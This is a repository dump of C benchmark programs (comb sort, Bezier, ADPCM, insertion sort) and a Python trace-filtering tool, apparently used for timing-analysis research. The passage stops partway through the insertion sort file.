"alpha_fraction": 0.5017825365066528, "alphanum_fraction": 0.5285205245018005, "avg_line_length": 15.260869979858398, "blob_id": "a95c73b97799671c121f23a2971995f29defb5fa", "content_id": "af0872bb176ce62af94fe56f9d4774e3d0afc14c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1122, "license_type": "no_license", "max_line_length": 75, "num_lines": 69, "path": "/benchmarks/combsort/combsort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Comb sort which consumes a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\n#define FALSE 0\n#define TRUE 1\n\nvoid\ncombsort (int ARRAY_SIZE, int a[])\n{\n float shrink_factor = 1.247330950103979;\n int gap = ARRAY_SIZE;\n int swapped = TRUE;\n int i;\n int tmp;\n\n while ((gap > 1) || swapped)\n {\n if (gap > 1)\n {\n gap = gap / shrink_factor;\n }\n\n swapped = FALSE;\n i = 0;\n\n while ((gap + i) < ARRAY_SIZE)\n {\n if (a[i] - a[i + gap] > 0)\n {\n tmp = a[i];\n a[i] = a[i + gap];\n a[i + gap] = tmp;\n swapped = TRUE;\n }\n ++i;\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n combsort (ARRAY_SIZE, TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.41493332386016846, "alphanum_fraction": 0.47146666049957275, "avg_line_length": 22.424999237060547, "blob_id": "48213aa8ab55d293ec1c274b923fff843e603e9a", "content_id": "647db34f5e7173c22122707f69378d9a20088f0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1875, "license_type": "no_license", "max_line_length": 81, "num_lines": 80, "path": "/benchmarks/bezier/bezier.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Bezier curve algorithm taken from http://www-users.cs.york.ac.uk/~bernat/pwcet\n * and modified by Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, an 80-element test vector is expected.\n */\n\n#define STEPWIDTH 0.01 /* draws 1/STEPWIDTH +1 points between SP and EP */\n#define XSIZE 800\n#define YSIZE 600\n#define CURVENO 20\n\nvoid\nbezier (int data[20][4][2])\n{\n char screen[YSIZE][XSIZE];\n int xco[4], yco[4];\n int i;\n int y;\n int x;\n float k;\n\n for (i = 0; i < CURVENO; i++)\n { /* PAN_VARPATH */\n /*calculate polynomial coefficients*/\n xco[3] = data[i][0][0];\n yco[3] = data[i][0][1];\n xco[2] = 3 * (data[i][2][0] - data[i][0][0]);\n yco[2] = 3 * (data[i][2][1] - data[i][0][1]);\n xco[1] = 3 * (data[i][3][0] - data[i][2][0]) - xco[2];\n yco[1] = 3 * (data[i][3][1] - data[i][2][1]) - yco[2];\n xco[0] = data[i][1][0] - data[i][0][0] - xco[2] - xco[1];\n yco[0] = data[i][1][1] - data[i][0][1] - yco[2] - yco[1];\n\n /*scan curve for t = 0 to t = 1 with STEPWIDTH*/\n for (k = 0; k <= 1; k += STEPWIDTH)\n { /* PAN_FIXED_LOOP PAN_VARPATH */\n x = (int) (((float) xco[0] * k * k * k) + ((float) xco[1] * k * k)\n + ((float) xco[2] * k) + (float) xco[3]);\n y = (int) (((float) yco[0] * k * k * k) + ((float) yco[1] * k * k)\n + ((float) yco[2] * k) + (float) yco[3]);\n if ((x < XSIZE) && (x > 0) && (y < YSIZE) && (y > 0))\n {\n /*write dot to screen*/\n screen[y][x] = 0; /*black*/\n }\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n int TV[20][4][2];\n int x;\n int i;\n int j;\n int k;\n\n if (argc != 81)\n {\n return 1;\n }\n\n k = 0;\n for (i = 0; i < 20; i++)\n {\n for (j = 0; j < 4; j++)\n {\n x = atoi (argv[(k + 1)]);\n TV[i][j][0] = x % 800;\n TV[i][j][1] = x % 800;\n k++;\n }\n }\n\n bezier (TV);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.566476047039032, "alphanum_fraction": 0.5696926116943359, "avg_line_length": 34.871795654296875, "blob_id": "71e762fc1e2447037a4d383635497798c29d3eb0", "content_id": "124e36509cd48b6b9a6626c6dbb4ed5ed9fcecf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2798, "license_type": "no_license", "max_line_length": 105, "num_lines": 78, "path": "/tools/trace_filter.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import argparse\nimport sys\n\nfrom graphs import graph\nfrom system import traces, program, database\nfrom utils import messages\n\n\ndef filter_trace(ppg: graph.ProgramPointGraph, ipg: graph.InstrumentationPointGraph, trace_file):\n all_traces = traces.Traces()\n trace = traces.Trace()\n with open(trace_file, 'r') as rd:\n for line in rd:\n lexemes = line.split()\n if lexemes:\n if len(lexemes) == 2:\n program_point = graph.Vertex.id_pool[int(lexemes[0])]\n v = ppg.get_vertex(program_point)\n else:\n p = graph.Vertex.id_pool[int(lexemes[0])]\n s = graph.Vertex.id_pool[int(lexemes[1])]\n program_point = graph.ControlFlowEdge(p, s)\n v = ppg.get_vertex(program_point)\n\n time = lexemes[-1]\n if v in ipg:\n trace.append(traces.TraceElement(v, time))\n else:\n all_traces.append(trace)\n trace = traces.Trace()\n return all_traces\n\n\ndef main(**kwargs):\n the_program = program.IO.read(kwargs['filename'])\n\n subprogram_trace = {}\n for trace_file in kwargs['traces']:\n name = traces.TraceFile.extract_subprogram(the_program, trace_file)\n subprogram_trace[name] = trace_file\n\n for subprogram in the_program:\n if subprogram.name in subprogram_trace:\n messages.debug_message('Filtering traces for {}'.format(subprogram.name))\n ppg = graph.ProgramPointGraph.create_from_control_flow_graph(subprogram.cfg)\n ppg.dotify()\n lnt = graph.LoopNests(ppg)\n lnt.dotify()\n\n with database.Database(kwargs['database']) as db:\n ipg = graph.InstrumentationPointGraph.create(ppg, lnt, db)\n ipg.dotify()\n all_traces = filter_trace(ppg, ipg, subprogram_trace[subprogram.name])\n all_traces.write(ipg.trace_filename())\n\n\ndef parse_the_command_line():\n parser = argparse.ArgumentParser(description='Filter a set of traces to instrumented program points')\n\n parser.add_argument('--filename',\n help='read the program from this file',\n required=True)\n\n parser.add_argument('--database',\n help='use the instrumentation indicated in this file',\n required=True)\n\n parser.add_argument('--traces',\n help='files containing traces',\n required=True,\n nargs='+')\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n assert sys.version_info >= (3, 0), 'Script requires Python 3.0 or greater to run'\n main(**vars(parse_the_command_line()))\n" }, { "alpha_fraction": 0.49329492449760437, "alphanum_fraction": 0.5841278433799744, "avg_line_length": 23.41176414489746, "blob_id": "f5f6afeab7b5b475be682e9c24f713835f1f0791", "content_id": "e538c18d703c2118754d17f1dc4285533ed4c5d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 19090, "license_type": "no_license", "max_line_length": 81, "num_lines": 782, "path": "/benchmarks/adpcm/adpcm.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Adaptive pulse code modulation algorithm taken from MDH suite and modified by\n * Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of\n */\n\n/* Common sampling rate for sound cards on IBM/PC */\n#define SAMPLE_RATE 11025\n\n#define PI 3141\n#define SIZE 3\n#define IN_END 4\n\ntypedef struct\n{\n int real, imag;\n} COMPLEX;\n\n/* variables for transimit quadrature mirror filter here */\nint tqmf[24];\n\n/* QMF filter coefficients:\n scaled by a factor of 4 compared to G722 CCITT recommendation */\nint h[24] =\n {12, -44, -44, 212, 48, -624, 128, 1448, -840, -3220, 3804, 15504, 15504,\n 3804, -3220, -840, 1448, 128, -624, 48, 212, -44, -44, 12};\n\nint xl, xh;\n\n/* variables for receive quadrature mirror filter here */\nint accumc[11], accumd[11];\n\n/* outputs of decode() */\nint xout1, xout2;\n\nint xs, xd;\n\n/* variables for encoder (hi and lo) here */\n\nint il, szl, spl, sl, el;\n\nint qq4_code4_table[16] =\n {0, -20456, -12896, -8968, -6288, -4240, -2584, -1200, 20456, 12896, 8968,\n 6288, 4240, 2584, 1200, 0};\n\nint qq5_code5_table[32] =\n {-280, -280, -23352, -17560, -14120, -11664, -9752, -8184, -6864, -5712,\n -4696, -3784, -2960, -2208, -1520, -880, 23352, 17560, 14120, 11664,\n 9752, 8184, 6864, 5712, 4696, 3784, 2960, 2208, 1520, 880, 280, -280};\n\nint qq6_code6_table[64] =\n {-136, -136, -136, -136, -24808, -21904, -19008, -16704, -14984, -13512,\n -12280, -11192, -10232, -9360, -8576, -7856, -7192, -6576, -6000, -5456,\n -4944, -4464, -4008, -3576, -3168, -2776, -2400, -2032, -1688, -1360,\n -1040, -728, 24808, 21904, 19008, 16704, 14984, 13512, 12280, 11192,\n 10232, 9360, 8576, 7856, 7192, 6576, 6000, 5456, 4944, 4464, 4008, 3576,\n 3168, 2776, 2400, 2032, 1688, 1360, 1040, 728, 432, 136, -432, -136};\n\nint delay_bpl[6];\n\nint delay_dltx[6];\n\nint wl_code_table[16] =\n {-60, 3042, 1198, 538, 334, 172, 58, -30, 3042, 1198, 538, 334, 172, 58, -30,\n -60};\n\nint wl_table[8] =\n {-60, -30, 58, 172, 334, 538, 1198, 3042};\n\nint ilb_table[32] =\n {2048, 2093, 2139, 2186, 2233, 2282, 2332, 2383, 2435, 2489, 2543, 2599,\n 2656, 2714, 2774, 2834, 2896, 2960, 3025, 3091, 3158, 3228, 3298, 3371,\n 3444, 3520, 3597, 3676, 3756, 3838, 3922, 4008};\n\nint nbl; /* delay line */\nint al1, al2;\nint plt, plt1, plt2;\nint rs;\nint dlt;\nint rlt, rlt1, rlt2;\n\n/* decision levels - pre-multiplied by 8, 0 to indicate end */\nint decis_levl[30] =\n {280, 576, 880, 1200, 1520, 1864, 2208, 2584, 2960, 3376, 3784, 4240, 4696,\n 5200, 5712, 6288, 6864, 7520, 8184, 8968, 9752, 10712, 11664, 12896,\n 14120, 15840, 17560, 20456, 23352, 32767};\n\nint detl;\n\n/* quantization table 31 long to make quantl look-up easier,\n last entry is for mil=30 case when wd is max */\nint quant26bt_pos[31] =\n {61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43,\n 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 32};\n\n/* quantization table 31 long to make quantl look-up easier,\n last entry is for mil=30 case when wd is max */\nint quant26bt_neg[31] =\n {63, 62, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15,\n 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 4};\n\nint deth;\nint sh; /* this comes from adaptive predictor */\nint eh;\n\nint qq2_code2_table[4] =\n {-7408, -1616, 7408, 1616};\n\nint wh_code_table[4] =\n {798, -214, 798, -214};\n\nint dh, ih;\nint nbh, szh;\nint sph, ph, yh, rh;\n\nint delay_dhx[6];\n\nint delay_bph[6];\n\nint ah1, ah2;\nint ph1, ph2;\nint rh1, rh2;\n\n/* variables for decoder here */\nint ilr, yl, rl;\nint dec_deth, dec_detl, dec_dlt;\n\nint dec_del_bpl[6];\n\nint dec_del_dltx[6];\n\nint dec_plt, dec_plt1, dec_plt2;\nint dec_szl, dec_spl, dec_sl;\nint dec_rlt1, dec_rlt2, dec_rlt;\nint dec_al1, dec_al2;\nint dl;\nint dec_nbl, dec_yh, dec_dh, dec_nbh;\n\n/* variables used in filtez */\nint dec_del_bph[6];\n\nint dec_del_dhx[6];\n\nint dec_szh;\n/* variables used in filtep */\nint dec_rh1, dec_rh2;\nint dec_ah1, dec_ah2;\nint dec_ph, dec_sph;\n\nint dec_sh, dec_rh;\n\nint dec_ph1, dec_ph2;\n\n/* G722 encode function two ints in, one 8 bit output */\n\n/* put input samples in xin1 = first value, xin2 = second value */\n/* returns il and ih stored together */\n\n/* MAX: 1 */\nint\nmy_abs (int n)\n{\n int m;\n\n if (n >= 0)\n m = n;\n else\n m = -n;\n return m;\n}\n\n/* MAX: 1 */\nint\nmy_fabs (int n)\n{\n int f;\n\n if (n >= 0)\n f = n;\n else\n f = -n;\n return f;\n}\n\nint\nmy_sin (int rad)\n{\n int diff;\n int app = 0;\n\n int inc = 1;\n\n /* MAX dependent on rad's value, say 50 */\n while (rad > 2 * PI)\n rad -= 2 * PI;\n /* MAX dependent on rad's value, say 50 */\n while (rad < -2 * PI)\n rad += 2 * PI;\n diff = rad;\n app = diff;\n diff = (diff * (-(rad * rad))) / ((2 * inc) * (2 * inc + 1));\n app = app + diff;\n inc++;\n /* REALLY: while(my_fabs(diff) >= 0.00001) { */\n /* MAX: 1000 */\n while (my_fabs (diff) >= 1)\n {\n diff = (diff * (-(rad * rad))) / ((2 * inc) * (2 * inc + 1));\n app = app + diff;\n inc++;\n }\n\n return app;\n}\n\nint\nmy_cos (int rad)\n{\n return (my_sin (PI / 2 - rad));\n}\n\n/* upzero - inputs: dlt, dlti[0-5], bli[0-5], outputs: updated bli[0-5] */\n/* also implements delay of bli and update of dlti from dlt */\n\nvoid\nupzero (int dlt, int *dlti, int *bli)\n{\n int i, wd2, wd3;\n /*if dlt is zero, then no sum into bli */\n if (dlt == 0)\n {\n for (i = 0; i < 6; i++)\n {\n bli[i] = (int) ((255L * bli[i]) >> 8L); /* leak factor of\n * 255/256 */\n }\n }\n else\n {\n for (i = 0; i < 6; i++)\n {\n if ((long) dlt * dlti[i] >= 0)\n wd2 = 128;\n else\n wd2 = -128;\n wd3 = (int) ((255L * bli[i]) >> 8L); /* leak factor of\n * 255/256 */\n bli[i] = wd2 + wd3;\n }\n }\n /* implement delay line for dlt */\n dlti[5] = dlti[4];\n dlti[4] = dlti[3];\n dlti[3] = dlti[2];\n dlti[1] = dlti[0];\n dlti[0] = dlt;\n return;\n}\n\n/* MAX: 1 */\nint\nencode (int xin1, int xin2)\n{\n int i;\n int *h_ptr, *tqmf_ptr, *tqmf_ptr1;\n long int xa, xb;\n int decis;\n\n /* transmit quadrature mirror filters implemented here */\n h_ptr = h;\n tqmf_ptr = tqmf;\n xa = (long) (*tqmf_ptr++) * (*h_ptr++);\n xb = (long) (*tqmf_ptr++) * (*h_ptr++);\n /* main multiply accumulate loop for samples and coefficients */\n /* MAX: 10 */\n for (i = 0; i < 10; i++)\n {\n xa += (long) (*tqmf_ptr++) * (*h_ptr++);\n xb += (long) (*tqmf_ptr++) * (*h_ptr++);\n }\n /* final mult/accumulate */\n xa += (long) (*tqmf_ptr++) * (*h_ptr++);\n xb += (long) (*tqmf_ptr) * (*h_ptr++);\n\n /* update delay line tqmf */\n tqmf_ptr1 = tqmf_ptr - 2;\n /* MAX: 22 */\n for (i = 0; i < 22; i++)\n *tqmf_ptr-- = *tqmf_ptr1--;\n *tqmf_ptr-- = xin1;\n *tqmf_ptr = xin2;\n\n /* scale outputs */\n xl = (xa + xb) >> 15;\n xh = (xa - xb) >> 15;\n\n /* end of quadrature mirror filter code */\n\n /* starting with lower sub band encoder */\n\n /* filtez - compute predictor output section - zero section */\n szl = filtez (delay_bpl, delay_dltx);\n\n /* filtep - compute predictor output signal (pole section) */\n spl = filtep (rlt1, al1, rlt2, al2);\n\n /* compute the predictor output value in the lower sub_band encoder */\n sl = szl + spl;\n el = xl - sl;\n\n /* quantl: quantize the difference signal */\n il = quantl (el, detl);\n\n /* invqxl: computes quantized difference signal */\n /* for invqbl, truncate by 2 lsbs, so mode = 3 */\n dlt = ((long) detl * qq4_code4_table[il >> 2]) >> 15;\n\n /* logscl: updates logarithmic quant. scale factor in low sub band */\n nbl = logscl (il, nbl);\n\n /* scalel: compute the quantizer scale factor in the lower sub band */\n /* calling parameters nbl and 8 (constant such that scalel can be scaleh) */\n detl = scalel (nbl, 8);\n\n /* parrec - simple addition to compute recontructed signal for adaptive pred */\n plt = dlt + szl;\n\n /* upzero: update zero section predictor coefficients (sixth order)*/\n /* calling parameters: dlt, dlt1, dlt2, ..., dlt6 from dlt */\n /* bpli (linear_buffer in which all six values are delayed */\n /* return params: updated bpli, delayed dltx */\n upzero (dlt, delay_dltx, delay_bpl);\n\n /* uppol2- update second predictor coefficient apl2 and delay it as al2 */\n /* calling parameters: al1, al2, plt, plt1, plt2 */\n al2 = uppol2 (al1, al2, plt, plt1, plt2);\n\n /* uppol1 :update first predictor coefficient apl1 and delay it as al1 */\n /* calling parameters: al1, apl2, plt, plt1 */\n al1 = uppol1 (al1, al2, plt, plt1);\n\n /* recons : compute recontructed signal for adaptive predictor */\n rlt = sl + dlt;\n\n /* done with lower sub_band encoder; now implement delays for next time*/\n rlt2 = rlt1;\n rlt1 = rlt;\n plt2 = plt1;\n plt1 = plt;\n\n /* high band encode */\n\n szh = filtez (delay_bph, delay_dhx);\n\n sph = filtep (rh1, ah1, rh2, ah2);\n\n /* predic: sh = sph + szh */\n sh = sph + szh;\n /* subtra: eh = xh - sh */\n eh = xh - sh;\n\n /* quanth - quantization of difference signal for higher sub-band */\n /* quanth: in-place for speed params: eh, deth (has init. value) */\n if (eh >= 0)\n {\n ih = 3; /* 2,3 are pos codes */\n }\n else\n {\n ih = 1; /* 0,1 are neg codes */\n }\n decis = (564L * (long) deth) >> 12L;\n if (my_abs (eh) > decis)\n ih--; /* mih = 2 case */\n\n /* invqah: compute the quantized difference signal, higher sub-band*/\n dh = ((long) deth * qq2_code2_table[ih]) >> 15L;\n\n /* logsch: update logarithmic quantizer scale factor in hi sub-band*/\n nbh = logsch (ih, nbh);\n\n /* note : scalel and scaleh use same code, different parameters */\n deth = scalel (nbh, 10);\n\n /* parrec - add pole predictor output to quantized diff. signal */\n ph = dh + szh;\n\n /* upzero: update zero section predictor coefficients (sixth order) */\n /* calling parameters: dh, dhi, bphi */\n /* return params: updated bphi, delayed dhx */\n upzero (dh, delay_dhx, delay_bph);\n\n /* uppol2: update second predictor coef aph2 and delay as ah2 */\n /* calling params: ah1, ah2, ph, ph1, ph2 */\n ah2 = uppol2 (ah1, ah2, ph, ph1, ph2);\n\n /* uppol1: update first predictor coef. aph2 and delay it as ah1 */\n ah1 = uppol1 (ah1, ah2, ph, ph1);\n\n /* recons for higher sub-band */\n yh = sh + dh;\n\n /* done with higher sub-band encoder, now Delay for next time */\n rh2 = rh1;\n rh1 = yh;\n ph2 = ph1;\n ph1 = ph;\n\n /* multiplex ih and il to get signals together */\n return (il | (ih << 6));\n}\n\n/* decode function, result in xout1 and xout2 */\n\nvoid\ndecode (int input)\n{\n int i;\n long int xa1, xa2; /* qmf accumulators */\n int *h_ptr, *ac_ptr, *ac_ptr1, *ad_ptr, *ad_ptr1;\n\n /* split transmitted word from input into ilr and ih */\n ilr = input & 0x3f;\n ih = input >> 6;\n\n /* LOWER SUB_BAND DECODER */\n\n /* filtez: compute predictor output for zero section */\n dec_szl = filtez (dec_del_bpl, dec_del_dltx);\n\n /* filtep: compute predictor output signal for pole section */\n dec_spl = filtep (dec_rlt1, dec_al1, dec_rlt2, dec_al2);\n\n dec_sl = dec_spl + dec_szl;\n\n /* invqxl: compute quantized difference signal for adaptive predic */\n dec_dlt = ((long) dec_detl * qq4_code4_table[ilr >> 2]) >> 15;\n\n /* invqxl: compute quantized difference signal for decoder output */\n dl = ((long) dec_detl * qq6_code6_table[il]) >> 15;\n\n rl = dl + dec_sl;\n\n /* logscl: quantizer scale factor adaptation in the lower sub-band */\n dec_nbl = logscl (ilr, dec_nbl);\n\n /* scalel: computes quantizer scale factor in the lower sub band */\n dec_detl = scalel (dec_nbl, 8);\n\n /* parrec - add pole predictor output to quantized diff. signal */\n /* for partially reconstructed signal */\n dec_plt = dec_dlt + dec_szl;\n\n /* upzero: update zero section predictor coefficients */\n upzero (dec_dlt, dec_del_dltx, dec_del_bpl);\n\n /* uppol2: update second predictor coefficient apl2 and delay it as al2 */\n dec_al2 = uppol2 (dec_al1, dec_al2, dec_plt, dec_plt1, dec_plt2);\n\n /* uppol1: update first predictor coef. (pole setion) */\n dec_al1 = uppol1 (dec_al1, dec_al2, dec_plt, dec_plt1);\n\n /* recons : compute recontructed signal for adaptive predictor */\n dec_rlt = dec_sl + dec_dlt;\n\n /* done with lower sub band decoder, implement delays for next time */\n dec_rlt2 = dec_rlt1;\n dec_rlt1 = dec_rlt;\n dec_plt2 = dec_plt1;\n dec_plt1 = dec_plt;\n\n /* HIGH SUB-BAND DECODER */\n\n /* filtez: compute predictor output for zero section */\n dec_szh = filtez (dec_del_bph, dec_del_dhx);\n\n /* filtep: compute predictor output signal for pole section */\n dec_sph = filtep (dec_rh1, dec_ah1, dec_rh2, dec_ah2);\n\n /* predic:compute the predictor output value in the higher sub_band decoder */\n dec_sh = dec_sph + dec_szh;\n\n /* invqah: in-place compute the quantized difference signal */\n dec_dh = ((long) dec_deth * qq2_code2_table[ih]) >> 15L;\n\n /* logsch: update logarithmic quantizer scale factor in hi sub band */\n dec_nbh = logsch (ih, dec_nbh);\n\n /* scalel: compute the quantizer scale factor in the higher sub band */\n dec_deth = scalel (dec_nbh, 10);\n\n /* parrec: compute partially recontructed signal */\n dec_ph = dec_dh + dec_szh;\n\n /* upzero: update zero section predictor coefficients */\n upzero (dec_dh, dec_del_dhx, dec_del_bph);\n\n /* uppol2: update second predictor coefficient aph2 and delay it as ah2 */\n dec_ah2 = uppol2 (dec_ah1, dec_ah2, dec_ph, dec_ph1, dec_ph2);\n\n /* uppol1: update first predictor coef. (pole setion) */\n dec_ah1 = uppol1 (dec_ah1, dec_ah2, dec_ph, dec_ph1);\n\n /* recons : compute recontructed signal for adaptive predictor */\n rh = dec_sh + dec_dh;\n\n /* done with high band decode, implementing delays for next time here */\n dec_rh2 = dec_rh1;\n dec_rh1 = rh;\n dec_ph2 = dec_ph1;\n dec_ph1 = dec_ph;\n\n /* end of higher sub_band decoder */\n\n /* end with receive quadrature mirror filters */\n xd = rl - rh;\n xs = rl + rh;\n\n /* receive quadrature mirror filters implemented here */\n h_ptr = h;\n ac_ptr = accumc;\n ad_ptr = accumd;\n xa1 = (long) xd * (*h_ptr++);\n xa2 = (long) xs * (*h_ptr++);\n /* main multiply accumulate loop for samples and coefficients */\n for (i = 0; i < 10; i++)\n {\n xa1 += (long) (*ac_ptr++) * (*h_ptr++);\n xa2 += (long) (*ad_ptr++) * (*h_ptr++);\n }\n /* final mult/accumulate */\n xa1 += (long) (*ac_ptr) * (*h_ptr++);\n xa2 += (long) (*ad_ptr) * (*h_ptr++);\n\n /* scale by 2^14 */\n xout1 = xa1 >> 14;\n xout2 = xa2 >> 14;\n\n /* update delay lines */\n ac_ptr1 = ac_ptr - 1;\n ad_ptr1 = ad_ptr - 1;\n for (i = 0; i < 10; i++)\n {\n *ac_ptr-- = *ac_ptr1--;\n *ad_ptr-- = *ad_ptr1--;\n }\n *ac_ptr = xd;\n *ad_ptr = xs;\n\n return;\n}\n\n/* clear all storage locations */\n\nvoid\nreset ()\n{\n int i;\n\n detl = dec_detl = 32; /* reset to min scale factor */\n deth = dec_deth = 8;\n nbl = al1 = al2 = plt1 = plt2 = rlt1 = rlt2 = 0;\n nbh = ah1 = ah2 = ph1 = ph2 = rh1 = rh2 = 0;\n dec_nbl = dec_al1 = dec_al2 = dec_plt1 = dec_plt2 = dec_rlt1 = dec_rlt2 = 0;\n dec_nbh = dec_ah1 = dec_ah2 = dec_ph1 = dec_ph2 = dec_rh1 = dec_rh2 = 0;\n\n for (i = 0; i < 6; i++)\n {\n delay_dltx[i] = 0;\n delay_dhx[i] = 0;\n dec_del_dltx[i] = 0;\n dec_del_dhx[i] = 0;\n }\n\n for (i = 0; i < 6; i++)\n {\n delay_bpl[i] = 0;\n delay_bph[i] = 0;\n dec_del_bpl[i] = 0;\n dec_del_bph[i] = 0;\n }\n\n for (i = 0; i < 23; i++)\n tqmf[i] = 0;\n\n for (i = 0; i < 11; i++)\n {\n accumc[i] = 0;\n accumd[i] = 0;\n }\n return;\n}\n\n/* filtez - compute predictor output signal (zero section) */\n/* input: bpl1-6 and dlt1-6, output: szl */\n\nint\nfiltez (int *bpl, int *dlt)\n{\n int i;\n long int zl;\n zl = (long) (*bpl++) * (*dlt++);\n /* MAX: 6 */\n for (i = 1; i < 6; i++)\n zl += (long) (*bpl++) * (*dlt++);\n\n return ((int) (zl >> 14)); /* x2 here */\n}\n\n/* filtep - compute predictor output signal (pole section) */\n/* input rlt1-2 and al1-2, output spl */\n\nint\nfiltep (int rlt1, int al1, int rlt2, int al2)\n{\n long int pl, pl2;\n pl = 2 * rlt1;\n pl = (long) al1 * pl;\n pl2 = 2 * rlt2;\n pl += (long) al2 * pl2;\n return ((int) (pl >> 15));\n}\n\n/* quantl - quantize the difference signal in the lower sub-band */\nint\nquantl (int el, int detl)\n{\n int ril, mil;\n long int wd, decis;\n\n /* abs of difference signal */\n wd = my_abs (el);\n /* determine mil based on decision levels and detl gain */\n /* MAX: 30 */\n for (mil = 0; mil < 30; mil++)\n {\n decis = (decis_levl[mil] * (long) detl) >> 15L;\n if (wd <= decis)\n break;\n }\n /* if mil=30 then wd is less than all decision levels */\n if (el >= 0)\n ril = quant26bt_pos[mil];\n else\n ril = quant26bt_neg[mil];\n return (ril);\n}\n\nint\nlogscl (int il, int nbl)\n{\n long int wd;\n wd = ((long) nbl * 127L) >> 7L; /* leak factor 127/128 */\n nbl = (int) wd + wl_code_table[il >> 2];\n if (nbl < 0)\n nbl = 0;\n if (nbl > 18432)\n nbl = 18432;\n return (nbl);\n}\n\n/* scalel: compute quantizer scale factor in lower or upper sub-band*/\n\nint\nscalel (int nbl, int shift_constant)\n{\n int wd1, wd2, wd3;\n wd1 = (nbl >> 6) & 31;\n wd2 = nbl >> 11;\n wd3 = ilb_table[wd1] >> (shift_constant + 1 - wd2);\n return (wd3 << 3);\n}\n\n/* uppol2 - update second predictor coefficient (pole section) */\n/* inputs: al1, al2, plt, plt1, plt2. outputs: apl2 */\n\nint\nuppol2 (int al1, int al2, int plt, int plt1, int plt2)\n{\n long int wd2, wd4;\n int apl2;\n wd2 = 4L * (long) al1;\n if ((long) plt * plt1 >= 0L)\n wd2 = -wd2; /* check same sign */\n wd2 = wd2 >> 7; /* gain of 1/128 */\n if ((long) plt * plt2 >= 0L)\n {\n wd4 = wd2 + 128;/* same sign case */\n }\n else\n {\n wd4 = wd2 - 128;\n }\n apl2 = wd4 + (127L * (long) al2 >> 7L); /* leak factor of 127/128 */\n\n /* apl2 is limited to +-.75 */\n if (apl2 > 12288)\n apl2 = 12288;\n if (apl2 < -12288)\n apl2 = -12288;\n return (apl2);\n}\n\n/* uppol1 - update first predictor coefficient (pole section) */\n/* inputs: al1, apl2, plt, plt1. outputs: apl1 */\n\nint\nuppol1 (int al1, int apl2, int plt, int plt1)\n{\n long int wd2;\n int wd3, apl1;\n wd2 = ((long) al1 * 255L) >> 8L; /* leak factor of 255/256 */\n if ((long) plt * plt1 >= 0L)\n {\n apl1 = (int) wd2 + 192; /* same sign case */\n }\n else\n {\n apl1 = (int) wd2 - 192;\n }\n /* note: wd3= .9375-.75 is always positive */\n wd3 = 15360 - apl2; /* limit value */\n if (apl1 > wd3)\n apl1 = wd3;\n if (apl1 < -wd3)\n apl1 = -wd3;\n return (apl1);\n}\n\nint\nlogsch (int ih, int nbh)\n{\n int wd;\n wd = ((long) nbh * 127L) >> 7L; /* leak factor 127/128 */\n nbh = wd + wh_code_table[ih];\n if (nbh < 0)\n nbh = 0;\n if (nbh > 22528)\n nbh = 22528;\n return (nbh);\n}\n\nint\nmain ()\n{\n int i, j, f /* ,answer */;\n static int test_data[SIZE * 2], compressed[SIZE], result[SIZE * 2];\n\n /* reset, initialize required memory */\n reset ();\n\n /* read in amplitude and frequency for test data */\n j = 10;\n f = 2000;\n\n /* 16 KHz sample rate */\n /* XXmain_0, MAX: 2 */\n /*\n * Since the number of times we loop in my_sin depends on the\n * argument we add the fact: xxmain_0:[]:\n */\n for (i = 0; i < SIZE; i++)\n {\n test_data[i] = (int) j * my_cos (f * PI * i);\n }\n\n for (i = 0; i < IN_END; i += 2)\n {\n compressed[i / 2] = encode (test_data[i], test_data[i + 1]);\n }\n\n /* MAX: 2 */\n for (i = 0; i < IN_END; i += 2)\n {\n decode (compressed[i / 2]);\n result[i] = xout1;\n result[i + 1] = xout2;\n }\n\n return result[i] + result[i + 1];\n}\n" }, { "alpha_fraction": 0.5048502683639526, "alphanum_fraction": 0.5491353869438171, "avg_line_length": 19.084745407104492, "blob_id": "19dec59dd844fdd1250e6bd0cf7b95ecc6c37dc3", "content_id": "211aa53dbafed0cabfd94e6d78353e96dfc70058", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2371, "license_type": "no_license", "max_line_length": 75, "num_lines": 118, "path": "/DaikonPathInformation/benchmarks/insertsort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Insert sort taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\nint\ninsertsort (int ARRAY_SIZE, int a[])\n{\n#ifdef CBMC\n//==========> insertsort : header 4\nint __count_4_5 = 0;\nint __count_4_5_L = 0; //Loop counter\n//==========> insertsort : header 7\nint __count_4_6 = 0;\nint __count_5_6 = 0;\nint __count_7_2 = 0; //Loop counter\n//==========> insertsort : header 1\nint __count_8 = 0;\nint __count_7_8 = 